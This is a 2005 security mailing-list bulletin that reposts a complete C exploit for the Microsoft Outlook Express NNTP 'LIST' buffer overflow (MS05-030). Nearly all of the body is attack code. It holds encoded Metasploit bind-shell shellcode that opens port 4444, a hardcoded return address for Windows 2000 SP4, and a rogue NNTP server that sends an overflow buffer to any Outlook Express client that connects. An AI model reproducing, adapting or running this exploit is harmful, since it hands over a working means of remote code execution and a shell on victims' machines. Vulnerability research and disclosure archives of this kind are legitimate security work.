[EXPL] Microsoft Outlook Express NNTP Buffer Overflow (Exploit, MS05−030)

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2005−06/0110.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 06/27/05

```
To: list@securiteam.com
Date: 27 Jun 2005 16:51:25 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Microsoft Outlook Express NNTP Buffer Overflow (Exploit, MS05−030)
−−−

```
/* win32_bind − EXITFUNC=process LPORT=4444 Size=344
Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96"
"\x27\xc8\x3e\x83\xeb\xfc\xe2\xf4\x6a\x4d\x23\x73\x7e\xde\x37\xc1"
"\x69\x47\x43\x52\xb2\x03\x43\x7b\xaa\xac\xb4\x3b\xee\x26\x27\xb5"
"\xd9\x3f\x43\x61\xb6\x26\x23\x77\x1d\x13\x43\x3f\x78\x16\x08\xa7"
"\x3a\xa3\x08\x4a\x91\xe6\x02\x33\x97\xe5\x23\xca\xad\x73\xec\x16"
"\xe3\xc2\x43\x61\xb2\x26\x23\x58\x1d\x2b\x83\xb5\xc9\x3b\xc9\xd5"
"\x95\x0b\x43\xb7\xfa\x03\xd4\x5f\x55\x16\x13\x5a\x1d\x64\xf8\xb5"
"\xd6\x2b\x43\x4e\x8a\x8a\x43\x7e\x9e\x79\xa0\xb0\xd8\x29\x24\x6e"
"\x69\xf1\xae\x6d\xf0\x4f\xfb\x0c\xfe\x50\xbb\x0c\xc9\x73\x37\xee"
"\xfe\xec\x25\xc2\xad\x77\x37\xe8\xc9\xae\x2d\x58\x17\xca\xc0\x3c"
"\xc3\x4d\xca\xc1\x46\x4f\x11\x37\x63\x8a\x9f\xc1\x40\x74\x9b\x6d"
"\xc5\x74\x8b\x6d\xd5\x74\x37\xee\xf0\x4f\xd9\x62\xf0\x74\x41\xdf"
"\x03\x4f\x6c\x24\xe6\xe0\x9f\xc1\x40\x4d\xd8\x6f\xc3\xd8\x18\x56"
"\x32\x8a\xe6\xd7\xc1\xd8\x1e\x6d\xc3\xd8\x18\x56\x73\x6e\x4e\x77"
"\xc1\xd8\x1e\x6e\xc2\x73\x9d\xc1\x46\xb4\xa0\xd9\xef\xe1\xb1\x69"
"\x69\xf1\x9d\xc1\x46\x41\xa2\x5a\xf0\x4f\xab\x53\x1f\xc2\xa2\x6e"
"\xcf\x0e\x04\xb7\x71\x4d\x8c\xb7\x74\x16\x08\xcd\x3c\xd9\x8a\x13"
"\x68\x65\xe4\xad\x1b\x5d\xf0\x95\x3d\x8c\xa0\x4c\x68\x94\xde\xc1"
"\xe3\x63\x37\xe8\xcd\x70\x9a\x6f\xc7\x76\xa2\x3f\xc7\x76\x9d\x6f"
"\x69\xf7\xa0\x93\x4f\x22\x06\x6d\x69\xf1\xa2\xc1\x69\x10\x37\xee"
"\x1d\x70\x34\xbd\x52\x43\x37\xe8\xc4\xd8\x18\x56\xe8\xff\x2a\x4d"
"\xc5\xd8\x1e\xc1\x46\x27\xc8\x3e";

struct
{
DWORD dwJMPEBX;
char *szDescription;
}targets[] =
{
{0x7803382b, "win2k sp4 all language"}
},v;

void usage(char *p)
{
int i;
printf( "Usage: %s <type>\n"
"[type]\n", p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d\t%s\n", i, targets[i].szDescription);
}
}

void main(int argc, char **argv)
{
struct sockaddr_in server,client;
WSADATA wsd;
SOCKET s2,s3;
```

```
int ret;
char szRecvBuff[0x100];
char szSend[] = "200\r\n";
int i,iType;
char szEvil[0x3000], szTmp[0x10];

printf( "MS OE NNTP \"LIST\" Buffer Overflow (MS05−030) EXP\n"
"Credits: Bug found by iDEFENSE\n"
"coded by eyas < eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n");

if(argc!=2)
{
usage(argv[0]);
return;
}

iType = atoi(argv[1]);

if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
printf("[−] WSAStartup error:%d\n", WSAGetLastError());
return;
}
s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons(119);
server.sin_addr.s_addr= 0;
ret = bind(s2, (struct sockaddr *)&server, sizeof(server));
ret = listen(s2, 100);
printf("[+] Listen on TCP 119.\n");
while(1)
{
ret=sizeof(client);
s3 = accept(s2, (struct sockaddr *)&client, &ret);
printf("[+] Connection accepted from %s:%d\n",
inet_ntoa(client.sin_addr), ntohs(client.sin_port));

printf("[+] Send welcome information.\n");
send(s3, szSend, strlen(szSend), 0);

ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);
szRecvBuff[ret−1] = '\x0';
printf("[+] Recv: [%s]\n", szRecvBuff);
send(s3, szSend, strlen(szSend), 0);
printf("[+] Send response.\n");

ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);
szRecvBuff[ret−4] = '\x0';
printf("[+] Recv: [%s]\n", szRecvBuff);
printf("[+] send evil buff.\n");
```

```
strcpy(szTmp, "\xEB\x06\xEB\x06");
memcpy(&szTmp[4], &(targets[iType].dwJMPEBX),4);
szTmp[8]='\x0';
strcpy(szEvil, "215 list\r\ngroup aaaa");
//for(i=0;i<0x2598;i++)
//for(i=0;i<0x30;i++)
for(i=0;i<0x2598+0x200;i+=8)
strcat(szEvil, szTmp);
strcat(szEvil, (char *)scode);
strcat(szEvil, " 1 y\r\n.\r\n");
send(s3, szEvil, strlen(szEvil), 0);
Sleep(1000);
closesocket(s3);
printf("[+] close connection\n");
}

WSACleanup();
return;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:eyas@xfocus.org> eyas.
The original article can be found at: <http://www.xfocus.net>
http://www.xfocus.net

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.